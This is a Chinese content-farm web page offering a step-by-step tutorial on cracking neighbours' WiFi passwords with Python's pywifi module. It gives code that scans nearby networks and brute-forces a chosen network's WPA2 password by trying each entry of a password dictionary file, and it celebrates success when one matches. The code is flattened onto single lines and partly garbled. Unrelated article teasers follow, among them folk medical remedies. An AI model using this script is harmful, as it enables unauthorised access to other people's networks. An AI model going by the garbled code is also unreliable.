密码设置复杂的wifi(WiFi密码设置复杂了)
密码设置复杂的wifi(WiFi密码设置复杂了)
2024-11-22 12:02:12  作者:不忘来年  网址:https://m.xinb2b.cn/sport/zbo461243.html

现在每个家庭都有WiFi!大家都以为为了防止别人蹭WiFi密码设置复杂一点,万能钥匙就破解不了!今天给大家看看python工程师是怎么破解WiFi密码的!今天利用python中的pywifi模块来写这个程序!上教程


一、获取密码文件的路径

self.get_value = StringVar()

二、获取WiFi账号

self.get_wifi_value = StringVar()

三、获取WiFi密码

self.get_wifimm_value = StringVar()

四、抓取网卡接口

self.wifi = pywifi.PyWiFi()

五、抓取第一个无线网卡

self.iface = self.wifi.interfaces()[0]

六、测试连接断开所有链接

self.iface.disconnect()

七、测试网卡是否属于断开状态

assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]


八、自动会调用的函数,返回自身的网卡

return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())

九、搜索WiFi

#开始扫描print("^_^ 开始扫描附近wifi...")self.iface.scan()time.sleep(15)#在若干秒后获取扫描结果scanres = self.iface.scan_results()#统计附近被发现的热点数量nums = len(scanres)print("数量: %s"%(nums))#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))# 实际数据self.show_scans_wifi_list(scanres)return scanres

十、添加密码文件目录

self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)

十一、Treeview绑定事件

self.sels= event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])

十二、读取密码字典,进行匹配

def readPassWord(self):self.getFilePath = self.get_value.get()self.get_wifissid = self.get_wifi_value.get()pwdfilehander=open(self.getFilePath,"r",errors="ignore")while True:try:self.pwdStr=pwdfilehander.readline()if not self.pwdStr:breakself.bool1=self.connect(self.pwdStr,self.get_wifissid)if self.bool1:self.res = "===正确=== wifi名:%s 匹配密码:%s "%(self.get_wifissid,self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')print(self.res)breakelse:self.res = "---错误--- wifi名:%s匹配密码:%s"%(self.get_wifissid,self.pwdStr)print(self.res)time.sleep(3)except:continue

十三、对wifi和密码进行匹配

#创建wifi链接文件self.profile = pywifi.Profile()self.profile.ssid =wifi_ssid #wifi名称self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元self.profile.key = pwd_Str #密码self.iface.remove_all_network_profiles() #删除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件self.iface.connect(self.tmp_profile)#链接time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上isOK=Trueelse:isOK=Falseself.iface.disconnect() #断开time.sleep(1)#检查断开状态assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK

运行结果



  • 水管漏水怎么快速解决(水管漏水怎么办)
  • 2024-11-22水管漏水怎么办水管漏水一般可以分几种情况:下水管漏水、铁水管漏水、PPR塑料水管漏水、水管接头漏水要解决问题,首先你得知道你家属于哪一种,不同的情况要按照不同的方法去处理,如果你也想知道水管漏水怎么办,接下来就跟随。
  • 治疗腱鞘炎的11种偏方(今日再推荐两种治疗腱鞘炎的外用方法)
  • 2024-11-22今日再推荐两种治疗腱鞘炎的外用方法【膏方】花椒长卿方【组成】花椒15克徐长卿15克甘草10克【制法】上药洗净后焙干,研磨成细粉【用法】将麝香壮骨膏剪成约边长4厘米大小方块,将药粉均匀洒于膏药中心,药末厚度约为1~2毫米,后贴敷于患处每。
  • 空调移机是不是就要加氟(空调移机需要加氟吗)
  • 2024-11-22空调移机需要加氟吗生活当中常常听到“空调移机就必须加氟”的说法,外行人不懂只能是移机师傅说什么听什么,无法判断这个说法的正确与否基本上移机之后,60%的家电维修师傅都会要求你对空调加氟,那么真的有必要吗?移机只是本金,。
  • 怎么把温度计弄到38度
  • 2024-11-22怎么把温度计弄到38度水银温度计方法:方法一,很简单的方法,倒着甩一下,直到达到38℃,停止甩动方法二:放在高于38℃的温水里,放一下拿出来看看,达到38℃就拿下来方法三:放热水袋上一会,盯着看温度计温度,达到了38℃就拿。
  • 赵本山女儿球球简历个人资料(还记得赵本山的女儿球球吗)
  • 2024-11-22还记得赵本山的女儿球球吗前几天,本山大叔的女儿球球在某平台与新男友同框了,还说“余生不用指教了,听我指挥”秀恩爱和保护男方隐私互不冲突,这男孩捂得真严实,根本看不出是谁(图源网络)现实中的男友对不上号,剧里的倒是很清楚这波梦。
  • door 嘴型(想跟老外说没门)
  • 2024-11-22想跟老外说没门@英语天天talk原创文章,禁止二次修改或截取片段盗用最近有小伙伴说,自己在跟家人朋友提要求的时候,总是能听到两个字“没门”,然后就想知道“没门”在英文中,有没有相对应的日常说法呢?今天咱们就一起来学。
  • 簇定刚条烂熳黄(簇定刚条烂熳黄)
  • 2024-11-22簇定刚条烂熳黄从种属上看连翘(Forsythiasuspensa)是木犀科连翘属的植物迎春花(Jasminumnudiflorum)是木犀科素馨属植物从植株外形上看连翘的外形呈灌木或者乔木状,比较高大,枝条一般不下。
  • 最帅古装剧男演员(一见此君误终生)
  • 2024-11-22一见此君误终生陌上人如玉,公子世无双古装剧中有哪些让你一见倾心的男性角色呢?严屺宽严宽的古装扮相俊美,无可挑剔,是360无死角的古装美男子,那邪魅腹黑的笑容不知迷倒了多少少女严宽自出道以来演过很多古装电视剧,凭。
  • 天天吃鸡蛋好吗(生鸡蛋羹有营养吗)
  • 2024-11-22生鸡蛋羹有营养吗好,但建议每天吃一个鸡蛋,尽量不吃蛋黄因为鸡蛋是高蛋白食品,如果食用过多,可导致代谢产物增多,同时也增加肾脏的负担其实生鸡蛋不仅不卫生,还容易引起细菌感染,而且也不营养生鸡蛋里含有抗生物素蛋白,影响食。
  • 21万人打出8.5的高分(210万人打出9.4的高分)
  • 2024-11-22210万人打出9.4的高分“这是关于两个小孩的故事,一个女孩和一个男孩,在他们心里,他们都是12岁,他们都感到失落而他们深爱彼此”——吕克·贝松莱昂是一个杀手,一个敏捷狠辣出了名的杀手杀手只意味着是一份职业,但却是他别无选择的。